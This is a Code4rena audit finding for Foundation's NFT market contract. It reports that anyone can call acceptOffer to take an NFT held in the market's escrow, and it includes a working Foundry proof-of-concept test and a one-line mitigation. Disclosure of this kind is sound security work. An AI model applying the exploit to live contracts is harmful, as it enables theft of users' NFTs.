Platform: Code4rena
Start Date: 24/02/2022
Pot Size: $75,000 USDC
Total HM: 21
Participants: 28
Period: 7 days
Judge: alcueca
Total Solo HM: 15
Id: 94
League: ETH
Rank: 12/28
Findings: 1
Award: $1,095.64
🌟 Selected for report: 0
🚀 Solo Findings: 0
https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L189 https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L270
https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L189
acceptOffer
, anyone can send tx and reach this line https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L270 which lead to transfer from market to attacker.Here is test written using foundry
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.12; import "ds-test/test.sol"; import "../FNDNFTMarket.sol"; import "../mocks/MockNFT.sol"; import "../mocks/EmptyMockContract.sol"; import "../FoundationTreasury.sol"; import "../FETH.sol"; import "@manifoldxyz/royalty-registry-solidity/contracts/RoyaltyRegistry.sol"; contract ContractTest is DSTest { FNDNFTMarket market; MockNFT nft; FoundationTreasury treasury; RoyaltyRegistry registry; FETH feth; CheatCodes cheats = CheatCodes(HEVM_ADDRESS); address alice = address(0x1111); address bob = address(0x2222); // deployer -> this // defaultAdmin -> this // defaultOperator -> this function setUp() public { // deploy MockNFT nft = new MockNFT(); // 0xCe71065D4017F316EC606Fe4422e11eB2c47c246 // deploy treasury treasury = new FoundationTreasury(); // 0x185a4dc360CE69bDCceE33b3784B0282f7961aea treasury.initialize(address(this)); treasury.grantOperator(address(this)); // deploy royalty registry registry = new RoyaltyRegistry(); // 0xEFc56627233b02eA95bAE7e19F648d7DcD5Bb132 registry.initialize(); // deploy feth // comment FETH_Market_Must_Be_A_Contract in FETH to make this line work feth = new FETH( payable(address(0x42997aC9251E5BB0A61F4Ff790E5B991ea07Fd9B)), 1 days ); // deploy market market = new FNDNFTMarket( payable(address(treasury)), address(feth), address(registry), 1 days, address(registry) // marketProxy address ); market.initialize(); nft.mint(); cheats.deal(alice, 1 << 128); cheats.deal(bob, 1 << 128); } function test_acceptOfferByBuyer() public { nft.transferFrom(address(this), address(market), 1); cheats.prank(alice); market.makeOffer{value: 1}(address(nft), 1, 1); cheats.prank(alice); market.acceptOffer(address(nft), 1, alice, 1); assertEq(nft.ownerOf(1), alice); } } interface CheatCodes { function prank(address) external; function deal(address who, uint256 newBalance) external; }
Foundry
A simple mitigation can be made by adding a check on https://github.com/code-423n4/2022-02-foundation/blob/main/contracts/mixins/NFTMarketOffer.sol#L203
require(IERC721(nftContract).ownerOf(tokenId) != address(this));
#0 - HardlyDifficult
2022-03-02T16:35:46Z
#1 - alcueca
2022-03-14T11:29:40Z
Agree with the severity rating in #51